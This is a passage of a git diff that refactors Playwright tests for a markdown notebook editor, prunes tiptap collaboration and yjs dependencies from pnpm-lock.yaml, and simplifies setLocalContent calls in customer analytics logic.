appear- await page.locator('.NotebookEditor').click()- await expect(notebook.editor).toBeVisible()- await notebook.editor.click()- await notebook.editor.press('End')- await notebook.editor.press('Enter')- await notebook.editor.pressSequentially(textContent)+ await notebook.focusNewParagraphAtEnd()+ await page.keyboard.type(textContent)await expect(notebook.editor).toContainText(textContent)await savePromise})diff --git a/playwright/page-models/notebookPage.ts b/playwright/page-models/notebookPage.tsindex c0935b3536ad..aa451139b724 100644--- a/playwright/page-models/notebookPage.ts+++ b/playwright/page-models/notebookPage.ts@@ -15,8 +15,8 @@ export class NotebookPage {this.newNotebookButton = page.getByTestId('new-notebook')this.notebooksTable = page.getByTestId('notebooks-table')this.searchInput = page.getByTestId('notebooks-search')- this.editor = page.getByRole('textbox')- this.titleHeading = page.getByRole('heading', { level: 1 })+ this.editor = page.locator('[data-markdown-notebook-editor]')+ this.titleHeading = page.locator('.MarkdownNotebook__text-block--title')}async goToList(): Promise<void> {@@ -36,48 +36,50 @@ export class NotebookPage {}async editTitle(name: string): Promise<void> {- const savePromise = this.page.waitForResponse(- (response) =>- response.url().includes('/api/projects/') &&- response.url().includes('/notebooks/') &&- response.request().method() === 'PATCH' &&- response.status() === 200,- { timeout: 15000 }- )- await this.editor.fill(name)+ const savePromise = this.waitForSave()+ await this.titleHeading.click()+ await this.page.keyboard.press('ControlOrMeta+a')+ await this.page.keyboard.type(name)await expect(this.page).toHaveTitle(new RegExp(name), { timeout: 10000 })await savePromise}+ /**+ * Markdown notebooks save through the realtime endpoint+ * (POST .../collab/markdown_save), not a plain PATCH.+ */async waitForSave(): Promise<void> {await this.page.waitForResponse((response) =>- response.url().includes('/api/projects/') &&response.url().includes('/notebooks/') &&- response.request().method() === 'PATCH' &&+ response.url().includes('/collab/markdown_save') &&+ response.request().method() === 'POST' &&response.status() === 200,{ timeout: 15000 })}+ /** Place the caret in a fresh empty paragraph at the end of the notebook. */+ async focusNewParagraphAtEnd(): Promise<void> {+ // Click a text block directly: clicking the canvas itself can land on hover+ // affordances (add-block boundaries) instead of placing the caret.+ await this.page.locator('.MarkdownNotebook__text-block').last().click()+ await this.page.keyboard.press('End')+ await this.page.keyboard.press('Enter')+ }+async addInsightViaSlashCommand(type: 'Trend' | 'Funnel' | 'Retention' | 'Paths' | 'Stickiness' | 'Lifecycle' | 'SQL'): Promise<void> {const currentCount = await this.insightNodes.count()- const savePromise = this.page.waitForResponse(- (response) =>- response.url().includes('/api/projects/') &&- response.url().includes('/notebooks/') &&- response.request().method() === 'PATCH' &&- response.status() === 200,- { timeout: 30000 }- )- await this.editor.click()- await this.page.keyboard.press('ControlOrMeta+End')- await this.page.keyboard.press('Enter')- await this.page.keyboard.type(`/${type}`)- await expect(this.page.getByRole('button', { name: type, exact: true })).toBeVisible()- await this.page.getByRole('button', { name: type, exact: true }).click()+ const savePromise = this.waitForSave()+ await this.focusNewParagraphAtEnd()+ await this.page.keyboard.type('/')+ await expect(this.page.locator('.MarkdownNotebook__insert-menu')).toBeVisible()+ await this.page.keyboard.type(type)+ const menuItem = this.page.getByRole('option', { name: type, exact: true })+ await expect(menuItem).toBeVisible()+ await menuItem.click()await expect(this.insightNodes).toHaveCount(currentCount + 1, { timeout: 15000 })await savePromise}@@ -86,11 +88,15 @@ export class NotebookPage {return this.page.getByTestId('notebook-node-query')}+ get componentShells(): Locator {+ return this.page.locator('.MarkdownNotebook__component-shell')+ }++ /** Open the block's filters/settings panel via its toolbar. */async expandInsightNode(index: number = 0): Promise<void> {- const node = this.insightNodes.nth(index)- await node.hover()- const editButton = this.page.getByTestId('notebook-node-edit-settings').nth(index)- await editButton.click()+ const shell = this.componentShells.nth(index)+ await shell.hover()+ await shell.getByLabel('Show filters').click()}async waitForInsightLoad(): Promise<void> {@@ -120,27 +126,10 @@ export class NotebookPage {await this.waitForInsightLoad()}- async removeInsightNode(): Promise<void> {- const node = this.insightNodes.first()- // Click the top-left corner of the node to ensure ProseMirror treats it- // as a NodeSelection (not a content selection inside the node)- await node.click({ position: { x: 2, y: 2 } })- await this.page.keyboard.press('Backspace')- await this.page.keyboard.press('Backspace')-- // Wait briefly for ProseMirror to flush the DOM update before checking.- // Without this, Locator.count() can see a stale snapshot and trigger- // the fallback spuriously.- await this.insightNodes.first().waitFor({ state: 'detached', timeout: 2000 }).catch(() => {})-- // If the node wasn't removed (click landed inside content), retry by- // clicking the node and pressing Backspace again (avoids selectAll which- // could wipe other notebook content)- if ((await this.insightNodes.count()) > 0) {- await this.insightNodes.first().click({ position: { x: 2, y: 2 } })- await this.page.keyboard.press('Backspace')- await this.page.keyboard.press('Backspace')- }+ async removeInsightNode(index: number = 0): Promise<void> {+ const shell = this.componentShells.nth(index)+ await shell.hover()+ await shell.getByLabel('Delete component').click()}async deleteFromList(notebookName: string): Promise<void> {diff --git a/pnpm-lock.yaml b/pnpm-lock.yamlindex d3ee7c8584d8..d9f56c993678 100644--- a/pnpm-lock.yaml+++ b/pnpm-lock.yaml@@ -875,27 +875,12 @@ importers:'@tiptap/extension-code-block-lowlight':specifier: 3.20.6version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))(@tiptap/[email protected])([email protected])([email protected])- '@tiptap/extension-collaboration':- specifier: 3.20.6- version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected])'@tiptap/extension-color':specifier: 3.20.6'@tiptap/extension-document':specifier: 3.20.6version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))- '@tiptap/extension-drag-handle':- specifier: 3.20.6- version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))- '@tiptap/extension-drag-handle-react':- specifier: 3.20.6- version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected])))(@tiptap/[email protected])(@tiptap/[email protected](@floating-ui/[email protected])(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@types/[email protected](@types/[email protected]))(@types/[email protected])([email protected]([email protected]))([email protected]))([email protected]([email protected]))([email protected])- '@tiptap/extension-floating-menu':- specifier: 3.20.6- version: 3.20.6(@floating-ui/[email protected])(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])- '@tiptap/extension-heading':- specifier: 3.20.6- version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))'@tiptap/extension-image':specifier: 3.20.6version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))@@ -905,18 +890,12 @@ importers:'@tiptap/extension-list':specifier: 3.20.6- '@tiptap/extension-node-range':- specifier: 3.20.6'@tiptap/extension-placeholder':specifier: 3.20.6version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))'@tiptap/extension-table':specifier: 3.20.6- '@tiptap/extension-table-of-contents':- specifier: 3.20.6'@tiptap/extension-text-align':specifier: 3.20.6version: 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))@@ -12112,14 +12091,6 @@ packages:peerDependencies:'@tiptap/core': 3.20.6- '@tiptap/[email protected]':- resolution: {integrity: sha512-wHU8GJjlFwf2/rubNA4EhpBZfoDB+0JZKDUsQQTooyQ+HvYYPwz2HHXBDwijJ4YgNDPGacB3t/1eUtZx/Jz/1A==}- peerDependencies:- '@tiptap/core': 3.20.6- '@tiptap/pm': 3.20.6- '@tiptap/y-tiptap': ^3.0.2- yjs: ^13-'@tiptap/[email protected]':resolution: {integrity: sha512-CuNArBP57tBjJkolnzCBOrx9Jq7nEM67oEISXzidzYg1466yHOxocJ+7irFf8KdBhTN3uxWbHZTzL3nsHAW39g==}peerDependencies:@@ -12130,24 +12101,6 @@ packages:peerDependencies:'@tiptap/core': 3.20.6- '@tiptap/[email protected]':- resolution: {integrity: sha512-puoV0xsQfZtCrUIcJqXzHQxhKzHfsm0v/6rFjFhvQZe15LBsCzhVFnCfLV7Hrp+S6P7OaiLabqDhhfgavP4RKg==}- peerDependencies:- '@tiptap/extension-drag-handle': 3.20.6- '@tiptap/pm': 3.20.6- '@tiptap/react': 3.20.6- react: 18.3.1- react-dom: 18.3.1-- '@tiptap/[email protected]':- resolution: {integrity: sha512-kyzrSr4Jkwt1f8Lx23hP9RGw6U03w9H6g0N/dukpa3jQIDwfiCyqj/lxS1UicrU7kIoUY6eEiIdB9LBY4glrRA==}- peerDependencies:- '@tiptap/core': 3.20.6- '@tiptap/extension-collaboration': 3.20.6- '@tiptap/extension-node-range': 3.20.6- '@tiptap/pm': 3.20.6- '@tiptap/y-tiptap': ^3.0.2-'@tiptap/[email protected]':resolution: {integrity: sha512-TtRykf5BeOxQwFMYtJnCCqiqYBdH0nxcVvigidNzm9etX5hujeLFMN/Q6RYQ8edv1nqkb96HTC4P5egVNHfU+g==}peerDependencies:@@ -12213,12 +12166,6 @@ packages:'@tiptap/core': 3.20.6'@tiptap/pm': 3.20.6- '@tiptap/[email protected]':- resolution: {integrity: sha512-jCNB53ksWtxyiNyq05MyZH0lzp87BakAWDSR/D3D6x4iyo8FAtjF7AipKJMTuWRBXD0rzkO956IO/G7zbsqiDw==}- peerDependencies:- '@tiptap/core': 3.20.6- '@tiptap/pm': 3.20.6-'@tiptap/[email protected]':resolution: {integrity: sha512-2qGVri9W4RG2jEFQAXMXUAgIjBH5J+cpcY4wUkrxdYmXDMor14o955/ITYNPzBvdi7wpfJa1F70rp4K3YNPEmg==}peerDependencies:@@ -12239,12 +12186,6 @@ packages:peerDependencies:'@tiptap/core': 3.20.6- '@tiptap/[email protected]':- resolution: {integrity: sha512-8p6sUP4LixyhpybkHqRoRJbeqRcOc6rd34F8yjycuGZ+LzaL0yxfQjk5Z7JtELfr49uB6CkZLykxKqX15zXKwg==}- peerDependencies:- '@tiptap/core': 3.20.6- '@tiptap/pm': 3.20.6-'@tiptap/[email protected]':resolution: {integrity: sha512-0Cjs9pdzvomT1jp0ev814k3glEpc1Lhi8yoGlStXdSbov8BRlw8E++T2PuIKYr6SPgtttVIX9tENZRYg4SkmDQ==}peerDependencies:@@ -12312,16 +12253,6 @@ packages:'@tiptap/core': 3.20.6'@tiptap/pm': 3.20.6- '@tiptap/[email protected]':- resolution: {integrity: sha512-flMn/YW6zTbc6cvDaUPh/NfLRTXDIqgpBUkYzM74KA1snqQwhOMjnRcnpu4hDFrTnPO6QGzr99vRyXEA7M44WA==}- engines: {node: '>=16.0.0', npm: '>=8.0.0'}- peerDependencies:- prosemirror-model: ^1.7.1- prosemirror-state: ^1.2.3- prosemirror-view: ^1.9.10- y-protocols: ^1.0.1- yjs: ^13.5.38-'@toon-format/[email protected]':resolution: {integrity: sha512-JwWptdF5eOA0HaQxbKAzkpQtR4wSWTEfDlEy/y3/4okmOAX1qwnpLZMmtEWr+ncAhTTY1raCKH0kteHhSXnQqg==}@@ -17060,9 +16991,6 @@ packages:peerDependencies:ws: '*'- resolution: {integrity: sha512-PIeMbHqMt4DnUP3MA/Flc0HElYjMXArsw1qwJZcm9sqR8mq3l8NYizFMty0pWwE/tzIGH3EKK5+jes5mAr85yw==}-resolution: {integrity: sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==}engines: {node: '>=8'}@@ -17839,11 +17767,6 @@ packages:resolution: {integrity: sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==}engines: {node: '>= 0.8.0'}- resolution: {integrity: sha512-DeXj9X5xDCjgKLU/7RR+/HQEVzuuEUiwldwOGsHK/sfAfELGWEyTcf0x+uOvCvK3O2zPmZePXWL85vtia6GyZw==}- engines: {node: '>=16'}- hasBin: true-resolution: {integrity: sha512-Gtr/WBx4dKjvRL1pvfwZqu7gO6AfrQ0u9vFL+kXihtHf6NfkROR8pjYWn98MFDI3jN19Ii1ZUfPR9afGiPyfHg==}@@ -23142,12 +23065,6 @@ packages:resolution: {integrity: sha512-AkTuIuVTET12tpsVIQo+ZU6f/qDmKuRUcjaqR+OIvm+aCBsZ95i7UVY5WJ9TMsSaZ0DA2WxoZ4acu0sPH+OKAw==}- resolution: {integrity: sha512-YSVsLoXxO67J6eE/nV4AtFtT3QEotZf5sK5BHxFBXso7VDUT3Tx07IfA6hsu5Q5OmBdMkQVmFZ9QOA7fikWvnw==}- engines: {node: '>=16.0.0', npm: '>=8.0.0'}- peerDependencies:- yjs: ^13.0.0-resolution: {integrity: sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==}@@ -23207,10 +23124,6 @@ packages:resolution: {integrity: sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==}- resolution: {integrity: sha512-kHqDPdltoXH+X4w1lVmMtddE3Oeqq48nM40FD5ojTd8xYhQpzIDcfE2keMSU5bAgRPJBe225WTUdyUgj1DtbiQ==}- engines: {node: '>=16.0.0', npm: '>=8.0.0'}-resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==}engines: {node: '>=6'}@@ -32326,13 +32239,6 @@ snapshots:dependencies:'@tiptap/core': 3.20.6(@tiptap/[email protected])- '@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected])':- dependencies:- '@tiptap/core': 3.20.6(@tiptap/[email protected])- '@tiptap/pm': 3.20.6- '@tiptap/y-tiptap': 3.0.2([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected])- yjs: 13.6.29-'@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected])))':dependencies:'@tiptap/extension-text-style': 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))@@ -32341,23 +32247,6 @@ snapshots:dependencies:'@tiptap/core': 3.20.6(@tiptap/[email protected])- '@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected])))(@tiptap/[email protected])(@tiptap/[email protected](@floating-ui/[email protected])(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@types/[email protected](@types/[email protected]))(@types/[email protected])([email protected]([email protected]))([email protected]))([email protected]([email protected]))([email protected])':- dependencies:- '@tiptap/extension-drag-handle': 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))- '@tiptap/pm': 3.20.6- '@tiptap/react': 3.20.6(@floating-ui/[email protected])(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@types/[email protected](@types/[email protected]))(@types/[email protected])([email protected]([email protected]))([email protected])- react: 18.3.1- react-dom: 18.3.1([email protected])-- '@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected]))(@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))':- dependencies:- '@floating-ui/dom': 1.7.6- '@tiptap/core': 3.20.6(@tiptap/[email protected])- '@tiptap/extension-collaboration': 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])(@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected]))([email protected])- '@tiptap/extension-node-range': 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])- '@tiptap/pm': 3.20.6- '@tiptap/y-tiptap': 3.0.2([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected])-'@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))':dependencies:'@tiptap/extensions': 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])@@ -32367,6 +32256,7 @@ snapshots:'@floating-ui/dom': 1.7.6'@tiptap/core': 3.20.6(@tiptap/[email protected])'@tiptap/pm': 3.20.6+ optional: true'@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))':dependencies:@@ -32412,11 +32302,6 @@ snapshots:'@tiptap/core': 3.20.6(@tiptap/[email protected])'@tiptap/pm': 3.20.6- '@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])':- dependencies:- '@tiptap/core': 3.20.6(@tiptap/[email protected])- '@tiptap/pm': 3.20.6-'@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected]))':dependencies:'@tiptap/extension-list': 3.20.6(@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])@@ -32433,12 +32318,6 @@ snapshots:dependencies:'@tiptap/core': 3.20.6(@tiptap/[email protected])- '@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])':- dependencies:- '@tiptap/core': 3.20.6(@tiptap/[email protected])- '@tiptap/pm': 3.20.6- uuid: 10.0.0-'@tiptap/[email protected](@tiptap/[email protected](@tiptap/[email protected]))(@tiptap/[email protected])':dependencies:'@tiptap/core': 3.20.6(@tiptap/[email protected])@@ -32547,15 +32426,6 @@ snapshots:'@tiptap/core': 3.20.6(@tiptap/[email protected])'@tiptap/pm': 3.20.6- '@tiptap/[email protected]([email protected])([email protected])([email protected])([email protected]([email protected]))([email protected])':- dependencies:- lib0: 0.2.117- prosemirror-model: 1.25.2- prosemirror-state: 1.4.3- prosemirror-view: 1.40.1- y-protocols: 1.0.7([email protected])- yjs: 13.6.29-'@toon-format/[email protected]': {}'@tootallnate/[email protected]': {}@@ -38140,8 +38010,6 @@ snapshots:dependencies:ws: 5.2.5- [email protected]: {}-@@ -39985,10 +39853,6 @@ snapshots:prelude-ls: 1.2.1type-check: 0.4.0- dependencies:- isomorphic.js: 0.2.5-dependencies:libsodium: 0.7.16@@ -46511,11 +46375,6 @@ snapshots:dependencies:cuint: 0.2.2- dependencies:- lib0: 0.2.117- yjs: 13.6.29-@@ -46604,10 +46463,6 @@ snapshots:buffer-crc32: 0.2.13fd-slicer: 1.1.0- dependencies:- lib0: 0.2.117-diff --git a/products/ai_observability/frontend/llmGenerationSentimentLazyLoaderLogicType.ts b/products/ai_observability/frontend/llmGenerationSentimentLazyLoaderLogicType.tsindex df54455563b6..5b7607305f26 100644--- a/products/ai_observability/frontend/llmGenerationSentimentLazyLoaderLogicType.ts+++ b/products/ai_observability/frontend/llmGenerationSentimentLazyLoaderLogicType.ts@@ -1,4 +1,4 @@-// Generated by kea-typegen on Thu, 25 Jun 2026 14:15:26 GMT. DO NOT EDIT THIS FILE MANUALLY.+// Generated by kea-typegen on Fri, 10 Jul 2026 12:24:09 GMT. DO NOT EDIT THIS FILE MANUALLY.import type { Logic } from 'kea'diff --git a/products/customer_analytics/frontend/components/Accounts/accountNotebooksLogic.ts b/products/customer_analytics/frontend/components/Accounts/accountNotebooksLogic.tsindex 3a2c5c922078..416c13d49610 100644--- a/products/customer_analytics/frontend/components/Accounts/accountNotebooksLogic.ts+++ b/products/customer_analytics/frontend/components/Accounts/accountNotebooksLogic.ts@@ -139,7 +139,7 @@ export const accountNotebooksLogic = kea<accountNotebooksLogicType>([return}posthog.capture(AccountsEvents.NoteCreated, { notebook_short_id: createdNote.short_id })- actions.selectNotebook(createdNote.short_id, { autofocus: 'end' })+ actions.selectNotebook(createdNote.short_id)// A new note sorts to page 1 (default -created_at); reset there so it's visible in the table.actions.setPage(1)},diff --git a/products/customer_analytics/frontend/customerProfileLogic.ts b/products/customer_analytics/frontend/customerProfileLogic.tsindex dd6baddbaee8..59c231d5566a 100644--- a/products/customer_analytics/frontend/customerProfileLogic.ts+++ b/products/customer_analytics/frontend/customerProfileLogic.ts@@ -288,7 +288,7 @@ export const customerProfileLogic = kea<customerProfileLogicType>([const currentContent = values.profileLocalContent || values.contentconst filteredContent = currentContent.filter((node) => node.type !== nodeType)actions.setProfileLocalContent(filteredContent)- actions.setLocalContent(filteredContent, true)+ actions.setLocalContent(filteredContent)},addNode: ({ nodeType }) => {const currentContent = values.profileLocalContent || values.content@@ -303,11 +303,11 @@ export const customerProfileLogic = kea<customerProfileLogicType>([return indexA - indexB})actions.setProfileLocalContent(updatedContent)- actions.setLocalContent(updatedContent, true)+ actions.setLocalContent(updatedContent)},resetToDefaults: () => {actions.setProfileLocalContent(null)- actions.setLocalContent(values.content, true)+ actions.setLocalContent(values.content)},saveChanges: async () => {if (!values.profileLocalContent || !values.changed) {@@ -331,27 +331,27 @@ export const customerProfileLogic = kea<customerProfileLogicType>([}},createConfigSuccess: () => {- actions.setLocalContent(values.content, true)+ actions.setLocalContent(values.content)actions.resetToDefaults()},updateConfigSuccess: () => {- actions.setLocalContent(values.content, true)+ actions.setLocalContent(values.content)actions.resetToDefaults()},loadConfigsSuccess: () => {- actions.setLocalContent(values.content, true)+ actions.setLocalContent(values.content)},// The source list loads asynchronously, so the initial mount sync can run before we// know whether a Zendesk source exists. Re-sync once it resolves so the Zendesk and// Support panels appear/disappear to match the actual source and support state.loadSourcesSuccess: () => {- actions.setLocalContent(values.content, true)+ actions.setLocalContent(values.content)},})),afterMount(({ actions, values }) => {if (values.content) {- actions.setLocalContent(values.content, true)+ actions.setLocalContent(values.content)}}),])